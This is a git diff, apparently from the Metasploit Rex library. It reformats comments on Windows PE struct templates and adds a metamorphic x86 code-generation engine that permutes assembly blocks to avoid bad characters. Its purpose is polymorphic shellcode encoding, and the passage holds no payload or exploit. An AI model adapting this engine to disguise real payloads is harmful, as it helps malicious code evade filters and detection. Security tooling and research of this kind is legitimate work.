UNALIGNED * PIMAGE_BASE_RELOCATION; IMAGE_BASE_RELOCATION = Rex::Struct2::CStructTemplate.new( [ 'uint32v', 'VirtualAddress', 0 ], [ 'uint32v', 'SizeOfBlock', 0 ] @@ -739,29 +725,29 @@ class PeBase end end - # - # typedef struct { - # DWORD Size; - # DWORD TimeDateStamp; - # WORD MajorVersion; - # WORD MinorVersion; - # DWORD GlobalFlagsClear; - # DWORD GlobalFlagsSet; - # DWORD CriticalSectionDefaultTimeout; - # DWORD DeCommitFreeBlockThreshold; - # DWORD DeCommitTotalFreeThreshold; - # DWORD LockPrefixTable; // VA - # DWORD MaximumAllocationSize; - # DWORD VirtualMemoryThreshold; - # DWORD ProcessHeapFlags; - # DWORD ProcessAffinityMask; - # WORD CSDVersion; - # WORD Reserved1; - # DWORD EditList; // VA - # DWORD SecurityCookie; // VA - # DWORD SEHandlerTable; // VA - # DWORD SEHandlerCount; - # } IMAGE_LOAD_CONFIG_DIRECTORY32, *PIMAGE_LOAD_CONFIG_DIRECTORY32; + # Struct + # typedef struct { + # DWORD Size; + # DWORD TimeDateStamp; + # WORD MajorVersion; + # WORD MinorVersion; + # DWORD GlobalFlagsClear; + # DWORD GlobalFlagsSet; + # DWORD CriticalSectionDefaultTimeout; + # DWORD DeCommitFreeBlockThreshold; + # DWORD DeCommitTotalFreeThreshold; + # DWORD LockPrefixTable; // VA + # DWORD MaximumAllocationSize; + # DWORD VirtualMemoryThreshold; + # DWORD ProcessHeapFlags; + # DWORD ProcessAffinityMask; + # WORD CSDVersion; + # WORD Reserved1; + # DWORD EditList; // VA + # DWORD SecurityCookie; // VA + # DWORD SEHandlerTable; // VA + # DWORD SEHandlerCount; + # } IMAGE_LOAD_CONFIG_DIRECTORY32, *PIMAGE_LOAD_CONFIG_DIRECTORY32; # IMAGE_LOAD_CONFIG_DIRECTORY32 = Rex::Struct2::CStructTemplate.new( [ 'uint32v', 'Size', 0 ], @@ -786,30 +772,29 @@ class PeBase [ 'uint32v', 'SEHandlerCount', 0 ] ) - # - # typedef struct { - # ULONG Size; - # ULONG TimeDateStamp; - # USHORT MajorVersion; - # USHORT MinorVersion; - # ULONG GlobalFlagsClear; - # ULONG GlobalFlagsSet; - # ULONG CriticalSectionDefaultTimeout; - # ULONGLONG DeCommitFreeBlockThreshold; - # ULONGLONG DeCommitTotalFreeThreshold; - # ULONGLONG LockPrefixTable; // VA - # ULONGLONG MaximumAllocationSize; - # ULONGLONG VirtualMemoryThreshold; - # ULONGLONG ProcessAffinityMask; - # ULONG ProcessHeapFlags; - # USHORT CSDVersion; - # USHORT Reserved1; - # ULONGLONG EditList; // VA - # ULONGLONG SecurityCookie; // VA - # ULONGLONG SEHandlerTable; // VA - # ULONGLONG SEHandlerCount; - # } IMAGE_LOAD_CONFIG_DIRECTORY64, *PIMAGE_LOAD_CONFIG_DIRECTORY64; - # + # Struct + # typedef struct { + # ULONG Size; + # ULONG TimeDateStamp; + # USHORT MajorVersion; + # USHORT MinorVersion; + # ULONG GlobalFlagsClear; + # ULONG GlobalFlagsSet; + # ULONG CriticalSectionDefaultTimeout; + # ULONGLONG DeCommitFreeBlockThreshold; + # ULONGLONG DeCommitTotalFreeThreshold; + # ULONGLONG LockPrefixTable; // VA + # ULONGLONG MaximumAllocationSize; + # ULONGLONG VirtualMemoryThreshold; + # ULONGLONG ProcessAffinityMask; + # ULONG ProcessHeapFlags; + # USHORT CSDVersion; + # USHORT Reserved1; + # ULONGLONG EditList; // VA + # ULONGLONG SecurityCookie; // VA + # ULONGLONG SEHandlerTable; // VA + # ULONGLONG SEHandlerCount; + # } IMAGE_LOAD_CONFIG_DIRECTORY64, *PIMAGE_LOAD_CONFIG_DIRECTORY64; IMAGE_LOAD_CONFIG_DIRECTORY64 = Rex::Struct2::CStructTemplate.new( [ 'uint32v', 'Size', 0 ], [ 'uint32v', 'TimeDateStamp', 0 ], @@ -838,12 +823,14 @@ class PeBase end + #-- # doesn't seem to be used -- not compatible with 64-bit #def self._parse_config_header(rawdata) # header = IMAGE_LOAD_CONFIG_DIRECTORY32.make_struct # header.from_s(rawdata) # ConfigHeader.new(header) #end + #++ def _parse_config_header @@ -879,30 +866,29 @@ class PeBase # TLS Directory # - # - # typedef struct { - # DWORD Size; - # DWORD TimeDateStamp; - # WORD MajorVersion; - # WORD MinorVersion; - # DWORD GlobalFlagsClear; - # DWORD GlobalFlagsSet; - # DWORD CriticalSectionDefaultTimeout; - # DWORD DeCommitFreeBlockThreshold; - # DWORD DeCommitTotalFreeThreshold; - # DWORD LockPrefixTable; // VA - # DWORD MaximumAllocationSize; - # DWORD VirtualMemoryThreshold; - # DWORD ProcessHeapFlags; - # DWORD ProcessAffinityMask; - # WORD CSDVersion; - # WORD Reserved1; - # DWORD EditList; // VA - # DWORD SecurityCookie; // VA - # DWORD SEHandlerTable; // VA - # DWORD SEHandlerCount; - # } IMAGE_LOAD_CONFIG_DIRECTORY32, *PIMAGE_LOAD_CONFIG_DIRECTORY32; - # + # Struct + # typedef struct { + # DWORD Size; + # DWORD TimeDateStamp; + # WORD MajorVersion; + # WORD MinorVersion; + # DWORD GlobalFlagsClear; + # DWORD GlobalFlagsSet; + # DWORD CriticalSectionDefaultTimeout; + # DWORD DeCommitFreeBlockThreshold; + # DWORD DeCommitTotalFreeThreshold; + # DWORD LockPrefixTable; // VA + # DWORD MaximumAllocationSize; + # DWORD VirtualMemoryThreshold; + # DWORD ProcessHeapFlags; + # DWORD ProcessAffinityMask; + # WORD CSDVersion; + # WORD Reserved1; + # DWORD EditList; // VA + # DWORD SecurityCookie; // VA + # DWORD SEHandlerTable; // VA + # DWORD SEHandlerCount; + # } IMAGE_LOAD_CONFIG_DIRECTORY32, *PIMAGE_LOAD_CONFIG_DIRECTORY32; IMAGE_LOAD_TLS_DIRECTORY32 = Rex::Struct2::CStructTemplate.new( [ 'uint32v', 'Size', 0 ], [ 'uint32v', 'TimeDateStamp', 0 ], @@ -926,30 +912,29 @@ class PeBase [ 'uint32v', 'SEHandlerCount', 0 ] ) - # - # typedef struct { - # ULONG Size; - # ULONG TimeDateStamp; - # USHORT MajorVersion; - # USHORT MinorVersion; - # ULONG GlobalFlagsClear; - # ULONG GlobalFlagsSet; - # ULONG CriticalSectionDefaultTimeout; - # ULONGLONG DeCommitFreeBlockThreshold; - # ULONGLONG DeCommitTotalFreeThreshold; - # ULONGLONG LockPrefixTable; // VA - # ULONGLONG MaximumAllocationSize; - # ULONGLONG VirtualMemoryThreshold; - # ULONGLONG ProcessAffinityMask; - # ULONG ProcessHeapFlags; - # USHORT CSDVersion; - # USHORT Reserved1; - # ULONGLONG EditList; // VA - # ULONGLONG SecurityCookie; // VA - # ULONGLONG SEHandlerTable; // VA - # ULONGLONG SEHandlerCount; - # } IMAGE_LOAD_CONFIG_DIRECTORY64, *PIMAGE_LOAD_CONFIG_DIRECTORY64; - # + # Struct + # typedef struct { + # ULONG Size; + # ULONG TimeDateStamp; + # USHORT MajorVersion; + # USHORT MinorVersion; + # ULONG GlobalFlagsClear; + # ULONG GlobalFlagsSet; + # ULONG CriticalSectionDefaultTimeout; + # ULONGLONG DeCommitFreeBlockThreshold; + # ULONGLONG DeCommitTotalFreeThreshold; + # ULONGLONG LockPrefixTable; // VA + # ULONGLONG MaximumAllocationSize; + # ULONGLONG VirtualMemoryThreshold; + # ULONGLONG ProcessAffinityMask; + # ULONG ProcessHeapFlags; + # USHORT CSDVersion; + # USHORT Reserved1; + # ULONGLONG EditList; // VA + # ULONGLONG SecurityCookie; // VA + # ULONGLONG SEHandlerTable; // VA + # ULONGLONG SEHandlerCount; + # } IMAGE_LOAD_CONFIG_DIRECTORY64, *PIMAGE_LOAD_CONFIG_DIRECTORY64; IMAGE_LOAD_TLS_DIRECTORY64 = Rex::Struct2::CStructTemplate.new( [ 'uint32v', 'Size', 0 ], [ 'uint32v', 'TimeDateStamp', 0 ], @@ -1014,14 +999,13 @@ class PeBase # ## - # - # typedef struct _IMAGE_RUNTIME_FUNCTION_ENTRY { - # DWORD BeginAddress; - # DWORD EndAddress; - # DWORD UnwindInfoAddress; - # } _IMAGE_RUNTIME_FUNCTION_ENTRY, *_PIMAGE_RUNTIME_FUNCTION_ENTRY; - # IMAGE_RUNTIME_FUNCTION_ENTRY_SZ = 12 + # Struct + # typedef struct _IMAGE_RUNTIME_FUNCTION_ENTRY { + # DWORD BeginAddress; + # DWORD EndAddress; + # DWORD UnwindInfoAddress; + # } _IMAGE_RUNTIME_FUNCTION_ENTRY, *_PIMAGE_RUNTIME_FUNCTION_ENTRY; IMAGE_RUNTIME_FUNCTION_ENTRY = Rex::Struct2::CStructTemplate.new( [ 'uint32v', 'BeginAddress', 0 ], [ 'uint32v', 'EndAddress', 0 ], @@ -1069,7 +1053,7 @@ class PeBase class UnwindInfo def initialize(pe, unwind_rva) data = pe.read_rva(unwind_rva, UNWIND_INFO_HEADER_SZ) - + unwind = UNWIND_INFO_HEADER.make_struct unwind.from_s(data) @@ -1115,26 +1099,26 @@ class PeBase def _load_exception_directory @exception = [] - + exception_entry = _optional_header['DataDirectory'][IMAGE_DIRECTORY_ENTRY_EXCEPTION] rva = exception_entry.v['VirtualAddress'] size = exception_entry.v['Size'] - + return if (rva == 0) - + data = _isource.read(rva_to_file_offset(rva), size) - + case hdr.file.Machine when IMAGE_FILE_MACHINE_AMD64 count = data.length / IMAGE_RUNTIME_FUNCTION_ENTRY_SZ - + count.times { |current| @exception << RuntimeFunctionEntry.new(self, data.slice!(0, IMAGE_RUNTIME_FUNCTION_ENTRY_SZ)) } else end - + return @exception end @@ -1651,7 +1635,7 @@ class PeBase rname.to_s end - + def update_checksum off = _dos_header.e_lfanew + IMAGE_FILE_HEADER_SIZE + 0x40 _isource.rawdata[off, 4] = [0].pack('V') diff --git a/lib/rex/poly.rb b/lib/rex/poly.rb index 7e3ebc6db0..428695c168 100644 --- a/lib/rex/poly.rb +++ b/lib/rex/poly.rb @@ -4,6 +4,7 @@ module Poly require 'rex/poly/register' require 'rex/poly/block' +require 'rex/poly/machine' ### # diff --git a/lib/rex/poly/machine.rb b/lib/rex/poly/machine.rb new file mode 100644 index 0000000000..9e60195da1 --- /dev/null +++ b/lib/rex/poly/machine.rb @@ -0,0 +1,12 @@ + +module Rex + + module Poly + + require 'metasm' + require 'rex/poly/machine/machine' + require 'rex/poly/machine/x86' + + end + +end diff --git a/lib/rex/poly/machine/machine.rb b/lib/rex/poly/machine/machine.rb new file mode 100644 index 0000000000..6bac6a8b1f --- /dev/null +++ b/lib/rex/poly/machine/machine.rb @@ -0,0 +1,829 @@ + +module Rex + + module Poly + + # + # A machine capable of creating a small blob of code in a metamorphic kind of way. + # Note: this is designed to perform an exhaustive search for a solution and can be + # slow. If you need a speedier option, the origional Rex::Polly::Block stuff is a + # better choice. + # + class Machine + + QWORD = 8 + DWORD = 4 + WORD = 2 + BYTE = 1 + + # + # A Permutation! + # + class Permutation + + attr_accessor :active, :offset + + attr_reader :name, :primitive, :length, :args + + # + # Create a new permutation object. + # + def initialize( name, primitive, machine, source, args=nil ) + @name = name + @primitive = primitive + @machine = machine + @source = source + @args = args + @active = false + @valid = true + @length = 0 + @offset = 0 + @children = ::Array.new + end + + # + # Add in a child permutation to this one. Used to build the permutation tree. + # + def add_child( child ) + @children << child + end + + # + # Does this permutation have children? + # + def has_children? + not @children.empty? + end + + # + # Remove any existing children. Called by the machines generate function + # to build a fresh tree in case generate was previously called. + # + def remove_children + @children.clear + end + + # + # Actully render this permutation into a raw buffer. + # + def render + raw = '' + # Zero the length as we will be rendering the raw buffer and the length may change. + @length = 0 + # If this permutation source is a Primitive/Procedure we can call it, otherwise we have a string + if( @source.kind_of?( Primitive ) or @source.kind_of?( ::Proc ) ) + if( @source.kind_of?( Primitive ) ) + raw = @source.call( @name, @machine, *@args ) + elsif( @source.kind_of?( ::Proc ) ) + raw = @source.call + end + # If the primitive/procedure returned an array, it is an array of assembly strings which we can assemble. + if( raw.kind_of?( ::Array ) ) + lines = raw + raw = '' + # itterate over each line of assembly + lines.each do | asm | + # parse the asm and substitute in any offset values specified... + offsets = asm.scan( /:([\S]+)_offset/ ) + offsets.each do | name, | + asm = asm.gsub( ":#{name}_offset", @machine.block_offset( name ).to_s ) + end + # and substitute in and register values for any variables specified... + regs = asm.scan( /:([\S]+)_reg([\d]+)/ ) + regs.each do | name, size | + asm = asm.gsub( ":#{name}_reg#{size}", @machine.variable_value( name, size.to_i ) ) + end + # assemble it into a raw blob + blob = @machine.assemble( asm ) + #if( not @machine.is_valid?( blob ) ) + # p "#{name}(#{primitive}):#{asm} is invalid" + #end + raw << blob + end + end + else + # the source must just be a static string + raw = @source + end + # Update the length to reflect the new raw buffer + @length = raw.to_s.length + # As the temp variable is only assigned for the duration of a single permutation we + # can now release it if it was used in this permutation. + @machine.release_temp_variable + return raw.to_s + end + + # + # Test if this permutation raw buffer is valid in this machine (e.g. against the badchar list). + # + def is_valid? + result = false + if( @valid ) + begin + result = @machine.is_valid?( self.render ) + rescue UnallowedPermutation + # This permutation is unallowed and can never be rendered so just mark it as + # not valid to skip it during future attempts. + @valid = false + rescue UndefinedPermutation + # allow an undefined permutation to fail validation but keep it marked + # as valid as it may be defined and passed validation later. + ensure + # Should a temporary variable have been assigned we can release it here. + @machine.release_temp_variable + end + end + return result + end + + # + # Try to find a solution within the solution space by performing a depth first search + # into the permutation tree and backtracking when needed. + # + def solve + # Check to see if this permutation can make part of a valid solution + if( self.is_valid? ) + # record this permutation as part of the final solution (the current machines register state is also saved here) + @machine.solution_push( self ) + # If we have no children we are at the end of the tree and have a potential full solution. + if( not self.has_children? ) + # We have a solution but doing a final pass to update offsets may introduce bad chars + # so we test for this and keep searching if this isnt a real solution after all. + if( not @machine.solution_is_valid? ) + # remove this permutation and keep searching + @machine.solution_pop + return false + end + # Return true to unwind the recursive call as we have got a final solution. + return true + end + # Itterate over the children of this permutation (the perutations of the proceeding block). + @children.each do | child | + # Traverse into this child to keep trying to generate a solution... + if( child.solve ) + # Keep returning true to unwind as we are done. + return true + end + end + # If we get here this permutation, origionally thought to be good for a solution, is not after all, + # so remove it from the machines final solution, restoring the register state aswell. + @machine.solution_pop + end + # No children can be made form part of the solution, return failure for this path in the tree. + return false + end + + end + + # + # A symbolic permutation to mark locations like the begining and end of a group of blocks. + # Used to calculate usefull offsets. + # + class SymbolicPermutation < Permutation + def initialize( name, machine, initial_offset=0 ) + super( name, '', machine, '' ) + # fudge the initial symbolic offset with a default (it gets patched correctly later), + # helps with the end symbolic block to not be 0 (as its a forward reference it really + # slows things down if we leave it 0) + @offset = initial_offset + # A symbolic block is allways active! + @active = true + end + + # + # We block all attempts to set the active state of this permutation so as + # it is always true. This lets us always address the offset. + # + def active=( value ) + end + end + + # + # A primitive is a machine defined permutation which accepts some arguments when it is called. + # + class Primitive + + # + # Initialize this primitive with its target source procedure and the machine it belongs to. + # + def initialize( source ) + @source = source + end + + # + # Call the primitives source procedure, passing in the arguments. + # + def call( name, machine, *args ) + return @source.call( name, machine, *args ) + end + + end + + # + # + # + class Block + + #attr_accessor :next, :previous + attr_reader :name + + def initialize( name ) + @name = name + @next = nil + @previous = nil + @permutations = ::Array.new + end + + def shuffle + @permutations = @permutations.shuffle + end + + def solve + @permutations.first.solve + end + + def << ( permutation ) + @permutations << permutation + end + + def each + @permutations.each do | permutation | + yield permutation + end + end + + end + + # + # A class to hold a solution for a Rex::Poly::Machine problem. + # + class Solution + + attr_reader :offset + + def initialize + @permutations = ::Array.new + @reg_state = ::Array.new + @offset = 0 + end + + # + # Reset this solution to an empty state. + # + def reset + @offset = 0 + @permutations.each do | permutation | + permutation.active = false + permutation.offset = 0 + end + @permutations.clear + @reg_state.clear + end + + # + # Push a new permutation onto this solutions permutations list and save the associated register/variables state + # + def push( permutation, reg_available, reg_consumed, variables ) + permutation.active = true + permutation.offset = @offset + @offset += permutation.length + @permutations.push( permutation ) + @reg_state.push( [ [].concat(reg_available), [].concat(reg_consumed), {}.merge(variables) ] ) + end + + # + # Pop off the last permutaion and register/variables state from this solution. + # + def pop + reg_available, reg_consumed, variables = @reg_state.pop + permutation = @permutations.pop + permutation.active = false + permutation.offset = 0 + @offset -= permutation.length + return permutation, reg_available, reg_consumed, variables + end + + # + # Render the final buffer. + # + def buffer + previous_offset = nil + count = 0 + # perform an N-pass fixup for offsets... + while( true ) do + # If we cant get the offsets fixed within a fixed ammount of tries we return + # nil to indicate failure and keep searching for a solution that will work. + if( count > 64 ) + return nil + end + # Reset the solution offset so as to update it for this pass + @offset = 0 + # perform a single pass to ensure we are using the correct offset values + @permutations.each do | permutation | + permutation.offset = @offset + # Note: calling render() can throw both UndefinedPermutation and UnallowedPermutation exceptions, + # however as we assume we only ever return the buffer once a final solution has been generated + # we should never have either of those exceptions thrown. + permutation.render + @offset += permutation.length + end + # If we have generated two consecutive passes which are the same length we can stop fixing up the offsets. + if( not previous_offset.nil? and @offset == previous_offset ) + break + end + count +=1 + previous_offset = @offset + end + # now a final pass to render the solution into the raw buffer + raw = '' + @permutations.each do | permutation | + #$stderr.puts "#{permutation.name} - #{ "0x%08X (%d)" % [ permutation.offset, permutation.length] } " + raw << permutation.render + end + return raw + end + + end + + # + # Create a new machine instance. + # + def initialize( badchars, cpu ) + @badchars = badchars + @cpu = cpu + + @reg_available = ::Array.new + @reg_consumed = ::Array.new + @variables = ::Hash.new + @blocks = ::Hash.new + @primitives = ::Hash.new + @solution = Solution.new + + _create_primitives + + @blocks['begin'] = Block.new( 'begin' ) + @blocks['begin'] << SymbolicPermutation.new( 'begin', self ) + + _create_variable( 'temp' ) + end + + # + # Overloaded by a subclass to return the maximum native general register size supported. + # + def native_size + nil + end + + # + # Use METASM to assemble a line of asm using this machines current cpu. + # + def assemble( asm ) + return Metasm::Shellcode.assemble( @cpu, asm ).encode_string + end + + # + # Check if a data blob is valid against the badchar list (or perform any other validation here) + # + def is_valid?( data ) + if( data.nil? ) + return false + end + return Rex::Text.badchar_index( data, @badchars ).nil? + end + + # + # Generate a 64 bit number whoes bytes are valid in this machine. + # + def make_safe_qword( number=nil ) + return _make_safe_number( QWORD, number ) & 0xFFFFFFFFFFFFFFFF + end + + # + # Generate a 32 bit number whoes bytes are valid in this machine. + # + def make_safe_dword( number=nil ) + return _make_safe_number( DWORD, number ) & 0xFFFFFFFF + end + + # + # Generate a 16 bit number whoes bytes are valid in this machine. + # + def make_safe_word( number=nil ) + return _make_safe_number( WORD, number ) & 0xFFFF + end + + # + # Generate a 8 bit number whoes bytes are valid in this machine. + # + def make_safe_byte( number=nil ) + return _make_safe_number( BYTE, number ) & 0xFF + end + + # + # Create a variable by name which will be assigned a register during generation. We can + # optionally assign a static register value to a variable if needed. + # + def create_variable( name, reg=nil ) + # Sanity check we aren't trying to create one of the reserved variables. + if( name == 'temp' ) + raise RuntimeError, "Unable to create variable, '#{name}' is a reserved variable name." + end + return _create_variable( name, reg ) + end + + # + # If the temp variable was assigned we release it. + # + def release_temp_variable + if( @variables['temp'] ) + regnum = @variables['temp'] + # Sanity check the temp variable was actually assigned (it may not have been if the last permutation didnot use it) + if( regnum ) + # place the assigned register back in the available list for consumption later. + @reg_available.push( @reg_consumed.delete( regnum ) ) + # unasign the temp vars register + @variables['temp'] = nil + return true + end + end + return false + end + + # + # Resolve a variable name into its currently assigned register value. + # + def variable_value( name, size=nil ) + # Sanity check we this variable has been created + if( not @variables.has_key?( name ) ) + raise RuntimeError, "Unknown register '#{name}'." + end + # Pull out its current register value if it has been assigned one + regnum = @variables[ name ] + if( not regnum ) + regnum = @reg_available.pop + if( not regnum ) + raise RuntimeError, "Unable to assign variable '#{name}' a register value, none available." + end + # and add it to the consumed list so we can track it later + @reg_consumed << regnum + # and now assign the variable the register + @variables[ name ] = regnum + end + # resolve the register number int a string representation (e.g. 0 in x86 is EAX if size is 32) + return _register_value( regnum, size ) + end + + # + # Check this solution is still currently valid (as offsets change it may not be). + # + def solution_is_valid? + return self.is_valid?( @solution.buffer ) + end + + # + # As the solution advances we save state for each permutation step in the solution. This lets + # use rewind at a later stage if the solving algorithm wishes to perform some backtracking. + # + def solution_push( permutation ) + @solution.push( permutation, @reg_available, @reg_consumed, @variables ) + end + + # + # Backtrack one step in the solution and restore the register/variable state. + # + def solution_pop + permutation, @reg_available, @reg_consumed, @variables = @solution.pop + + @reg_available.push( @reg_available.shift ) + end + + # + # Create a block by name and add in its list of permutations. + # + # XXX: this doesnt support the fuzzy order of block dependencies ala the origional rex::poly + def create_block( name, *permutation_sources ) + # Sanity check we aren't trying to create one of the reserved symbolic blocks. + if( name == 'begin' or name == 'end' ) + raise RuntimeError, "Unable to add block, '#{name}' is a reserved block name." + end + # If this is the first time this block is being created, create the block object to hold the permutation list + if( not @blocks[name] ) + @blocks[name] = Block.new( name ) + end + # Now create a new permutation object for every one supplied. + permutation_sources.each do | source | + @blocks[name] << Permutation.new( name, '', self, source ) + end + return name + end + + # + # Create a block which is based on a primitive defined by this machine. + # + def create_block_primitive( block_name, primitive_name, *args ) + # Santiy check this primitive is actually available and is not an internal primitive (begins with an _). + if( not @primitives[primitive_name] or primitive_name[0] == "_" ) + raise RuntimeError, "Unable to add block, Primitive '#{primitive_name}' is not available." + end + # Sanity check we aren't trying to create one of the reserved symbolic blocks. + if( block_name == 'begin' or block_name == 'end' ) + raise RuntimeError, "Unable to add block, '#{block_name}' is a reserved block name." + end + return _create_block_primitive( block_name, primitive_name, *args ) + end + + # + # Get the offset for a blocks active permutation. This is easy for backward references as + # they will already have been rendered and their sizes known. For forward references we + # can't know in advance but the correct value can be known later once the final solution is + # available and a final pass to generate the raw buffer is made. + # + def block_offset( name ) + if( name == 'end' ) + return @solution.offset + elsif( @blocks[name] ) + @blocks[name].each do | permutation | + if( permutation.active ) + return permutation.offset + end + end + end + # If we are forward referencing a block it will be at least the current solutions offset +1 + return @solution.offset + 1 + end + + # + # Does a given block exist? + # + def block_exist?( name ) + return @blocks.include?( name ) + end + + # + # Does a given block exist? + # + def variable_exist?( name ) + return @variables.include?( name ) + end + + # XXX: ambiguity between variable names and block name may introduce confusion!!! make them be unique. + + # + # Resolve a given value into either a number literal, a block offset or + # a variables assigned register. + # + def resolve_value( value, size=nil ) + if( block_exist?( value ) ) + return block_offset( value ) + elsif( variable_exist?( value ) ) + return variable_value( value, size ) + end + return value.to_i + end + + # + # Get the block previous to the target block. + # + def block_previous( target_block ) + previous_block = nil + @blocks.each_key do | current_block | + if( current_block == target_block ) + return previous_block + end + previous_block = current_block + end + return nil + end + + # + # Get the block next to the target block. + # + def block_next( target_block ) + @blocks.each_key do | current_block | + if( block_previous( current_block ) == target_block ) + return current_block + end + end + return nil + end + + # + # Try to generate a solution. + # + def generate + + if( @blocks.has_key?( 'end' ) ) + @blocks.delete( 'end' ) + end + + @blocks['end'] = Block.new( 'end' ) + @blocks['end'] << SymbolicPermutation.new( 'end', self, 1 ) + + # Mix up the permutation orders for each block and create the tree structure. + previous = ::Array.new + @blocks.each_value do | block | + # Shuffle the order of the blocks permutations. + block.shuffle + # create the tree by adding the current blocks permutations as children of the previous block. + current = ::Array.new + block.each do | permutation | + permutation.remove_children + previous.each do | prev | + prev.add_child( permutation ) + end + current << permutation + end + previous = current + end + + # Shuffle the order of the available registers + @reg_available = @reg_available.shuffle + + # We must try every permutation of the register orders, so if we fail to + # generate a solution we rotate the available registers to try again with + # a different order. This ensures we perform and exhaustive search. + 0.upto( @reg_available.length - 1 ) do + + @solution.reset + + # Start from the root node in the solution space and generate a + # solution by traversing the solution space's tree structure. + if( @blocks['begin'].solve ) + # Return the solutions buffer (perform a last pass to fixup all offsets)... + return @solution.buffer + end + + @reg_available.push( @reg_available.shift ) + end + + # :( + nil + end + + # + # An UndefinedPermutation exception is raised when a permutation can't render yet + # as the conditions required are not yet satisfied. + # + class UndefinedPermutation < RuntimeError + def initialize( msg=nil ) + super + end + end + + # + # An UnallowedPermutation exception is raised when a permutation can't ever render + # as the conditions supplied are impossible to satisfy. + # + class UnallowedPermutation < RuntimeError + def initialize( msg=nil ) + super + end + end + + # + # An InvalidPermutation exception is raised when a permutation receives a invalid + # argument and cannot continue to render. This is a fatal exception. + # + class InvalidPermutation < RuntimeError + def initialize( msg=nil ) + super + end + end + + protected + + # + # Overloaded by a subclass to resolve a register number into a suitable register + # name for the target architecture. E.g on x64 the register number 0 with size 64 + # would resolve to RCX. Size is nil by default to indicate we want the default + # machine size, e.g. 32bit DWORD on x86 or 64bit QWORD on x64. + # + def _register_value( regnum, size=nil ) + nil + end + + # + # Perform the actual variable creation. + # + def _create_variable( name, reg=nil ) + regnum = nil + # Sanity check this variable has not already been created. + if( @variables[name] ) + raise RuntimeError, "Variable '#{name}' is already created." + end + # If a fixed register is being assigned to this variable then resolve it + if( reg ) + # Resolve the register name into a register number + @reg_available.each do | num | + if( _register_value( num ) == reg.downcase ) + regnum = num + break + end + end + # If an invalid register name was given or the chosen register is not available we must fail. + if( not regnum ) + raise RuntimeError, "Register '#{reg}' is unknown or unavailable." + end + # Sanity check another variable isnt assigned this register + if( @variables.has_value?( regnum ) ) + raise RuntimeError, "Register number '#{regnum}' is already consumed by variable '#{@variables[name]}'." + end + # Finally we consume the register chosen so we dont select it again later. + @reg_consumed << @reg_available.delete( regnum ) + end + # Create the variable and assign it a register number (or nil if not yet assigned) + @variables[name] = regnum + return name + end + + # + # Create a block which is based on a primitive defined by this machine. + # + def _create_block_primitive( block_name, primitive_name, *args ) + # If this is the first time this block is being created, create the array to hold the permutation list + if( not @blocks[block_name] ) + @blocks[block_name] = Block.new( block_name ) + end + # Now create a new permutation object for every one supplied. + @primitives[primitive_name].each do | source | + @blocks[block_name] << Permutation.new( block_name, primitive_name, self, source, args ) + end + return block_name + end + + # + # Overloaded by a subclass to create any primitives available in this machine. + # + def _create_primitives + nil + end + + # + # Rex::Poly::Machine::Primitive + # + def _create_primitive( name, *permutations ) + # If this is the first time this primitive is being created, create the array to hold the permutation list + if( not @primitives[name] ) + @primitives[name] = ::Array.new + end + # Add in the permutation object (Rex::Poly::Machine::Primitive) for every one supplied. + permutations.each do | permutation | + @primitives[name] << Primitive.new( permutation ) + end + end + + # + # Helper function to generate a number whoes byte representation is valid in this + # machine (does not contain any badchars for example). Optionally we can supply a + # number and the resulting addition/subtraction of this number against the newly + # generated value is also tested for validity. This helps in the assembly primitives + # which can use these values. + # + def _make_safe_number( bytes, number=nil ) + format = '' + if( bytes == BYTE ) + format = 'C' + elsif( bytes == WORD ) + format = 'v' + elsif( bytes == DWORD ) + format = 'V' + elsif( bytes == QWORD ) + format = 'Q' + else + raise RuntimeError, "Invalid size '#{bytes}' used in _make_safe_number." + end + + goodchars = (0..255).to_a + + @badchars.unpack( 'C*' ).each do | b | + goodchars.delete( b.chr ) + end + + while( true ) do + value = 0 + + 0.upto( bytes-1 ) do | i | + value |= ( (goodchars[ rand(goodchars.length) ] << i*8) & (0xFF << i*8) ) + end + + if( not is_valid?( [ value ].pack(format) ) or not is_valid?( [ ~value ].pack(format) ) ) + redo + end + + if( not number.nil? ) + if( not is_valid?( [ value + number ].pack(format) ) or not is_valid?( [ value - number ].pack(format) ) ) + redo + end + end + + break + end + + return value + end + + end + + end + +end diff --git a/lib/rex/poly/machine/x86.rb b/lib/rex/poly/machine/x86.rb new file mode 100644 index 0000000000..e72d7aa2d7 --- /dev/null +++ b/lib/rex/poly/machine/x86.rb @@ -0,0 +1,508 @@ + +module Rex + + module Poly + + # + # A subclass to represent a Rex poly machine on the x86 architecture. + # + class MachineX86 < Rex::Poly::Machine + + def initialize( badchars='', consume_base_pointer=nil, consume_stack_pointer=true ) + super( badchars, Metasm::Ia32.new ) + + @reg_available << Rex::Arch::X86::EAX + @reg_available << Rex::Arch::X86::EBX + @reg_available << Rex::Arch::X86::ECX + @reg_available << Rex::Arch::X86::EDX + @reg_available << Rex::Arch::X86::ESI + @reg_available << Rex::Arch::X86::EDI + @reg_available << Rex::Arch::X86::EBP + @reg_available << Rex::Arch::X86::ESP + + # By default we consume the EBP register if badchars contains \x00. This helps speed + # things up greatly as many instructions opperating on EBP introduce a NULL byte. For + # example, a MOV instruction with EAX as the source operand is as follows: + # 8B08 mov ecx, [eax] + # but the same instruction with EBP as the source operand is as follows: + # 8B4D00 mov ecx, [ebp] ; This is assembled as 'mov ecx, [ebp+0]' + # we can see that EBP is encoded differently with an offset included. We can still + # try to generate a solution with EBP included and \x00 in the badchars list but + # it can take considerably longer. + if( ( consume_base_pointer.nil? and not Rex::Text.badchar_index( "\x00", @badchars ).nil? ) or consume_base_pointer == true ) + create_variable( 'base_pointer', 'ebp' ) + end + + # By default we consume the ESP register to avoid munging the stack. + if( consume_stack_pointer ) + create_variable( 'stack_pointer', 'esp' ) + end + + # discover all the safe FPU instruction we can use. + @safe_fpu_instructions = ::Array.new + Rex::Arch::X86.fpu_instructions.each do | fpu | + if( is_valid?( fpu ) ) + @safe_fpu_instructions << fpu + end + end + end + + # + # The general purpose registers are 32bit + # + def native_size + Rex::Poly::Machine::DWORD + end + + # + # Overload this method to intercept the 'set' primitive with the 'location' keyword + # and create the block with the '_set_variable_location'. We do this to keep a + # consistent style. + # + def create_block_primitive( block_name, primitive_name, *args ) + if( primitive_name == 'set' and args.length == 2 and args[1] == 'location' ) + _create_block_primitive( block_name, '_set_variable_location', args[0] ) + else + super + end + end + + # + # XXX: If we have a loop primitive, it is a decent speed bump to force the associated variable + # of the first loop primitive to be assigned as ECX (for the x86 LOOP instruction), this is not + # neccasary but can speed generation up significantly. + # + #def generate + # @blocks.each_value do | block | + # if( block.first.primitive == 'loop' ) + # @variables.delete( block.first.args.first ) + # create_variable( block.first.args.first, 'ecx' ) + # break + # end + # end + # # 